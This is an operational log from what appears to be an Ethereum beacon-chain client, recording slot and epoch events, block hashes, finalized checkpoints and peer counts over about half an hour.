11:35:12.736 INFO  - Slot Event  *** Slot: 222175, Block:    ... empty, Epoch: 6942, Finalized checkpoint: 6940, Finalized root: 39adec..4725, Peers: 32
11:35:20.493 INFO  - Epoch Event *** Epoch: 6943, Justified checkpoint: 6941, Finalized checkpoint: 6940, Finalized root: 39adec..4725
11:35:26.307 INFO  - Slot Event  *** Slot: 222176, Block: 90d07d..6fce, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 29
11:35:36.746 INFO  - Slot Event  *** Slot: 222177, Block: 54cbda..fa83, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 30
11:35:48.755 INFO  - Slot Event  *** Slot: 222178, Block: e0b2fc..8882, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 30
11:36:00.738 INFO  - Slot Event  *** Slot: 222179, Block: 578123..ad75, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 29
11:36:12.736 INFO  - Slot Event  *** Slot: 222180, Block: ad1984..9f26, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 29
11:36:24.733 INFO  - Slot Event  *** Slot: 222181, Block: 6108ea..8856, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:36:36.733 INFO  - Slot Event  *** Slot: 222182, Block: edc67e..ee09, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 30
11:36:48.753 INFO  - Slot Event  *** Slot: 222183, Block: 6f59ce..a956, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 32
11:37:00.734 INFO  - Slot Event  *** Slot: 222184, Block: ca9028..d873, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 32
11:37:12.711 INFO  - Slot Event  *** Slot: 222185, Block: 0ea950..deb3, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 32
11:37:24.741 INFO  - Slot Event  *** Slot: 222186, Block: f754eb..36c4, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 35
11:37:36.740 INFO  - Slot Event  *** Slot: 222187, Block: bbc286..5c7e, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 34
11:37:48.751 INFO  - Slot Event  *** Slot: 222188, Block:    ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:38:00.738 INFO  - Slot Event  *** Slot: 222189, Block: 85ff79..8c39, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:38:12.734 INFO  - Slot Event  *** Slot: 222190, Block: cc65de..42ca, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:38:24.741 INFO  - Slot Event  *** Slot: 222191, Block:    ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:38:36.738 INFO  - Slot Event  *** Slot: 222192, Block: fbaa6b..464b, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 30
11:38:48.740 INFO  - Slot Event  *** Slot: 222193, Block:    ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:39:00.748 INFO  - Slot Event  *** Slot: 222194, Block: 1923cc..4cfa, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 31
11:39:12.737 INFO  - Slot Event  *** Slot: 222195, Block: 9cd659..7b53, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 32
11:39:24.728 INFO  - Slot Event  *** Slot: 222196, Block:    ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 30
11:39:36.739 INFO  - Slot Event  *** Slot: 222197, Block: a89df5..9a96, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 35
11:39:48.711 INFO  - Slot Event  *** Slot: 222198, Block: fa2b4f..6fee, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 33
11:40:00.735 INFO  - Slot Event  *** Slot: 222199, Block: cb9aed..47a6, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 33
11:40:12.757 INFO  - Slot Event  *** Slot: 222200, Block: 87ffac..ebae, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 36
11:40:24.749 INFO  - Slot Event  *** Slot: 222201, Block: b23fdc..19b4, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 35
11:40:36.735 INFO  - Slot Event  *** Slot: 222202, Block:    ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 36
11:40:48.785 INFO  - Slot Event  *** Slot: 222203, Block: 5718a0..4459, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 36
11:41:00.736 INFO  - Slot Event  *** Slot: 222204, Block:    ... empty, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 36
11:41:12.766 INFO  - Slot Event  *** Slot: 222205, Block: ea4492..8ff1, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 35
11:41:24.743 INFO  - Slot Event  *** Slot: 222206, Block: d647ac..c53a, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 36
11:41:36.745 INFO  - Slot Event  *** Slot: 222207, Block: 1a3b3f..1747, Epoch: 6943, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7, Peers: 33
11:41:44.491 INFO  - Epoch Event *** Epoch: 6944, Justified checkpoint: 6942, Finalized checkpoint: 6941, Finalized root: 16dfb0..6ba7
11:41:50.954 INFO  - Slot Event  *** Slot: 222208, Block: 07bf19..fa36, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 37
11:42:00.737 INFO  - Slot Event  *** Slot: 222209, Block:    ... empty, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 37
11:42:12.739 INFO  - Slot Event  *** Slot: 222210, Block: c9e0c3..989e, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 40
11:42:24.755 INFO  - Slot Event  *** Slot: 222211, Block: 648839..e300, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 38
11:42:36.732 INFO  - Slot Event  *** Slot: 222212, Block: 042c65..9a57, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 37
11:42:48.734 INFO  - Slot Event  *** Slot: 222213, Block: 7c8e17..c159, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 34
11:43:00.746 INFO  - Slot Event  *** Slot: 222214, Block: 806cd0..c0fc, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 34
11:43:12.732 INFO  - Slot Event  *** Slot: 222215, Block:    ... empty, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:43:24.739 INFO  - Slot Event  *** Slot: 222216, Block:    ... empty, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:43:36.740 INFO  - Slot Event  *** Slot: 222217, Block: 1d0457..47eb, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:43:48.740 INFO  - Slot Event  *** Slot: 222218, Block: 87c9b2..e9e0, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:44:00.765 INFO  - Slot Event  *** Slot: 222219, Block: 42b5bc..9652, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:44:12.741 INFO  - Slot Event  *** Slot: 222220, Block: d3831c..3561, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 34
11:44:24.751 INFO  - Slot Event  *** Slot: 222221, Block: 7b7120..43a0, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:44:36.749 INFO  - Slot Event  *** Slot: 222222, Block: 314a6f..b48e, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 32
11:44:48.754 INFO  - Slot Event  *** Slot: 222223, Block: ac1fd9..766c, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 31
11:45:00.739 INFO  - Slot Event  *** Slot: 222224, Block:    ... empty, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 31
11:45:12.733 INFO  - Slot Event  *** Slot: 222225, Block: 13d9d8..b4f0, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 34
11:45:24.742 INFO  - Slot Event  *** Slot: 222226, Block: de6436..8c6e, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 31
11:45:36.725 INFO  - Slot Event  *** Slot: 222227, Block: 157cc0..2322, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 30
11:45:48.743 INFO  - Slot Event  *** Slot: 222228, Block: 9605d6..aee4, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 31
11:46:00.742 INFO  - Slot Event  *** Slot: 222229, Block: fbb0ee..fb75, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 30
11:46:12.743 INFO  - Slot Event  *** Slot: 222230, Block: 04b303..0105, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 35
11:46:24.758 INFO  - Slot Event  *** Slot: 222231, Block: c122bb..c381, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 33
11:46:36.751 INFO  - Slot Event  *** Slot: 222232, Block: 73a636..b8cf, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 38
11:46:48.758 INFO  - Slot Event  *** Slot: 222233, Block: d2a5b1..b221, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 38
11:47:00.751 INFO  - Slot Event  *** Slot: 222234, Block: b7285f..b35c, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 36
11:47:12.739 INFO  - Slot Event  *** Slot: 222235, Block: c4c994..516e, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 37
11:47:24.745 INFO  - Slot Event  *** Slot: 222236, Block: bb8be2..34ed, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 37
11:47:36.708 INFO  - Slot Event  *** Slot: 222237, Block: d85877..1092, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 35
11:47:48.741 INFO  - Slot Event  *** Slot: 222238, Block:    ... empty, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 42
11:48:00.746 INFO  - Slot Event  *** Slot: 222239, Block: 9d72d9..6d43, Epoch: 6944, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9, Peers: 41
11:48:08.492 INFO  - Epoch Event *** Epoch: 6945, Justified checkpoint: 6943, Finalized checkpoint: 6942, Finalized root: 1ed950..39c9
11:48:12.462 INFO  - Slot Event  *** Slot: 222240, Block: 24baf0..5c52, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 43
11:48:24.741 INFO  - Slot Event  *** Slot: 222241, Block: 29ad0b..8437, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 40
11:48:36.731 INFO  - Slot Event  *** Slot: 222242, Block: 405fd0..781f, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 37
11:48:48.790 INFO  - Slot Event  *** Slot: 222243, Block: 0cf2a1..6bbc, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 34
11:49:00.739 INFO  - Slot Event  *** Slot: 222244, Block: 285d08..c9b2, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 34
11:49:12.777 INFO  - Slot Event  *** Slot: 222245, Block: 6941ca..3912, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:49:24.807 INFO  - Slot Event  *** Slot: 222246, Block:    ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 32
11:49:36.738 INFO  - Slot Event  *** Slot: 222247, Block: 8eb7e5..2de2, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:49:48.751 INFO  - Slot Event  *** Slot: 222248, Block: cbe7b2..50a5, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:50:00.750 INFO  - Slot Event  *** Slot: 222249, Block: 0738f2..d800, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:50:12.708 INFO  - Slot Event  *** Slot: 222250, Block: e3fb92..f7e2, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:50:24.722 INFO  - Slot Event  *** Slot: 222251, Block:    ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:50:36.735 INFO  - Slot Event  *** Slot: 222252, Block: 7b5da4..da95, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:50:48.761 INFO  - Slot Event  *** Slot: 222253, Block: 096b56..24c7, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 36
11:51:00.750 INFO  - Slot Event  *** Slot: 222254, Block: ad0577..2665, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 34
11:51:12.748 INFO  - Slot Event  *** Slot: 222255, Block: 8ac3fb..331b, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:51:24.760 INFO  - Slot Event  *** Slot: 222256, Block: 7ef827..da36, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 34
11:51:36.748 INFO  - Slot Event  *** Slot: 222257, Block: c37f7f..cd47, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 38
11:51:48.783 INFO  - Slot Event  *** Slot: 222258, Block:    ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 37
11:52:00.751 INFO  - Slot Event  *** Slot: 222259, Block: 1f6531..0068, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:52:12.809 INFO  - Slot Event  *** Slot: 222260, Block: 601dcf..cd02, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 36
11:52:24.765 INFO  - Slot Event  *** Slot: 222261, Block:    ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:52:36.754 INFO  - Slot Event  *** Slot: 222262, Block: 7c2ab4..d6d3, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 36
11:52:48.740 INFO  - Slot Event  *** Slot: 222263, Block:    ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 36
11:53:00.760 INFO  - Slot Event  *** Slot: 222264, Block: 0b2981..d853, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:53:12.746 INFO  - Slot Event  *** Slot: 222265, Block: e69b0d..5788, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 37
11:53:24.922 INFO  - Slot Event  *** Slot: 222266, Block: c1b90d..acd7, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 36
11:53:36.764 INFO  - Slot Event  *** Slot: 222267, Block:    ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 35
11:53:48.735 INFO  - Slot Event  *** Slot: 222268, Block: caf236..3130, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 37
11:54:00.752 INFO  - Slot Event  *** Slot: 222269, Block:    ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 34
11:54:12.755 INFO  - Slot Event  *** Slot: 222270, Block:    ... empty, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:54:24.763 INFO  - Slot Event  *** Slot: 222271, Block: c27a80..de1c, Epoch: 6945, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce, Peers: 33
11:54:32.493 INFO  - Epoch Event *** Epoch: 6946, Justified checkpoint: 6944, Finalized checkpoint: 6943, Finalized root: 90d07d..6fce
11:54:38.107 INFO  - Slot Event  *** Slot: 222272, Block: caadae..b936, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 33
11:54:48.778 INFO  - Slot Event  *** Slot: 222273, Block: 1e380d..5fed, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 35
11:55:00.750 INFO  - Slot Event  *** Slot: 222274, Block: 67ce1b..7d43, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 34
11:55:12.746 INFO  - Slot Event  *** Slot: 222275, Block: 8728c5..2311, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 35
11:55:24.871 INFO  - Slot Event  *** Slot: 222276, Block: 706a4c..4f52, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 34
11:55:36.731 INFO  - Slot Event  *** Slot: 222277, Block: 247dfc..3305, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 38
11:55:48.753 INFO  - Slot Event  *** Slot: 222278, Block: 2b1b87..a9ec, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 35
11:56:00.765 INFO  - Slot Event  *** Slot: 222279, Block: 5d30d0..a4d2, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 33
11:56:12.777 INFO  - Slot Event  *** Slot: 222280, Block: 02b42c..47a2, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 36
11:56:24.766 INFO  - Slot Event  *** Slot: 222281, Block:    ... empty, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 35
11:56:36.785 INFO  - Slot Event  *** Slot: 222282, Block: 1aa8b0..8104, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 37
11:56:48.757 INFO  - Slot Event  *** Slot: 222283, Block:    ... empty, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 37
11:57:00.829 INFO  - Slot Event  *** Slot: 222284, Block: 3110ec..4065, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 36
11:57:12.752 INFO  - Slot Event  *** Slot: 222285, Block: 12d52a..f9dc, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 34
11:57:24.763 INFO  - Slot Event  *** Slot: 222286, Block: 27cb34..645e, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 36
11:57:36.738 INFO  - Slot Event  *** Slot: 222287, Block: c8b409..711e, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 36
11:57:48.742 INFO  - Slot Event  *** Slot: 222288, Block: 9224a6..51a5, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 32
11:58:00.735 INFO  - Slot Event  *** Slot: 222289, Block: 4b3cb8..92a1, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 31
11:58:12.761 INFO  - Slot Event  *** Slot: 222290, Block: 62d2e1..33b7, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 32
11:58:24.742 INFO  - Slot Event  *** Slot: 222291, Block: dc6433..7b23, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 31
11:58:36.747 INFO  - Slot Event  *** Slot: 222292, Block: fe75c5..2241, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 36
11:58:48.754 INFO  - Slot Event  *** Slot: 222293, Block: 63d184..289d, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 34
11:59:00.753 INFO  - Slot Event  *** Slot: 222294, Block: 5b9650..878a, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 33
11:59:12.746 INFO  - Slot Event  *** Slot: 222295, Block: e4554a..522e, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 33
11:59:24.779 INFO  - Slot Event  *** Slot: 222296, Block:    ... empty, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 37
11:59:36.752 INFO  - Slot Event  *** Slot: 222297, Block:    ... empty, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 38
11:59:48.789 INFO  - Slot Event  *** Slot: 222298, Block: 5c6e6d..936c, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 38
12:00:00.739 INFO  - Slot Event  *** Slot: 222299, Block: 9c4781..f792, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 37
12:00:12.748 INFO  - Slot Event  *** Slot: 222300, Block: ef7596..87d5, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 39
12:00:24.765 INFO  - Slot Event  *** Slot: 222301, Block: 973a55..4f02, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 38
12:00:36.733 INFO  - Slot Event  *** Slot: 222302, Block: 4ec078..c9ec, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 39
12:00:48.727 INFO  - Slot Event  *** Slot: 222303, Block: 510b4b..164a, Epoch: 6946, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36, Peers: 40
12:00:56.493 INFO  - Epoch Event *** Epoch: 6947, Justified checkpoint: 6945, Finalized checkpoint: 6944, Finalized root: 07bf19..fa36
12:01:02.233 INFO  - Slot Event  *** Slot: 222304, Block: d1ab42..924c, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 39
12:01:12.742 INFO  - Slot Event  *** Slot: 222305, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 42
12:01:24.760 INFO  - Slot Event  *** Slot: 222306, Block: af6eec..f48d, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 39
12:01:36.732 INFO  - Slot Event  *** Slot: 222307, Block: 01f0cc..21f7, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 39
12:01:48.744 INFO  - Slot Event  *** Slot: 222308, Block: 6f0699..6c3c, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:02:00.779 INFO  - Slot Event  *** Slot: 222309, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:02:12.812 INFO  - Slot Event  *** Slot: 222310, Block: bc8dde..4e88, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 41
12:02:24.745 INFO  - Slot Event  *** Slot: 222311, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:02:36.749 INFO  - Slot Event  *** Slot: 222312, Block: 378fb5..bc43, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 43
12:02:48.743 INFO  - Slot Event  *** Slot: 222313, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 43
12:03:00.756 INFO  - Slot Event  *** Slot: 222314, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 39
12:03:12.735 INFO  - Slot Event  *** Slot: 222315, Block: 174716..f843, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:03:25.029 INFO  - Slot Event  *** Slot: 222316, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:03:36.733 INFO  - Slot Event  *** Slot: 222317, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:03:48.913 INFO  - Slot Event  *** Slot: 222318, Block: c3688a..9cbb, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:04:00.756 INFO  - Slot Event  *** Slot: 222319, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 36
12:04:12.747 INFO  - Slot Event  *** Slot: 222320, Block: 1dc2ea..7605, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:04:24.736 INFO  - Slot Event  *** Slot: 222321, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 37
12:04:36.881 INFO  - Slot Event  *** Slot: 222322, Block: 26b3f2..b401, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:04:48.787 INFO  - Slot Event  *** Slot: 222323, Block: c276ef..505c, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 35
12:05:00.772 INFO  - Slot Event  *** Slot: 222324, Block: 94d021..b367, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 35
12:05:12.757 INFO  - Slot Event  *** Slot: 222325, Block: 469168..91a2, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:05:24.745 INFO  - Slot Event  *** Slot: 222326, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:05:36.822 INFO  - Slot Event  *** Slot: 222327, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 39
12:05:48.731 INFO  - Slot Event  *** Slot: 222328, Block: 0180e1..b54c, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:06:00.746 INFO  - Slot Event  *** Slot: 222329, Block: 9a831e..9f86, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 37
12:06:12.756 INFO  - Slot Event  *** Slot: 222330, Block: 5b3938..a653, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 42
12:06:26.614 INFO  - Slot Event  *** Slot: 222331, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 43
12:06:37.483 INFO  - Slot Event  *** Slot: 222332, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 41
12:06:49.485 INFO  - Slot Event  *** Slot: 222333, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 40
12:07:00.961 INFO  - Slot Event  *** Slot: 222334, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 38
12:07:13.443 INFO  - Slot Event  *** Slot: 222335, Block:    ... empty, Epoch: 6947, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 37
12:07:20.517 INFO  - Epoch Event *** Epoch: 6948, Justified checkpoint: 6946, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52
12:07:25.783 INFO  - Slot Event  *** Slot: 222336, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 37
12:07:37.469 INFO  - Slot Event  *** Slot: 222337, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6945, Finalized root: 24baf0..5c52, Peers: 35
12:08:04.439 INFO  - Slot Event  *** Slot: 222338, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:08:05.621 INFO  - Slot Event  *** Slot: 222338, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:08:07.392 INFO  - Slot Event  *** Slot: 222339, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:08:13.521 INFO  - Slot Event  *** Slot: 222340, Block:    ... empty, Epoch: 6948, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
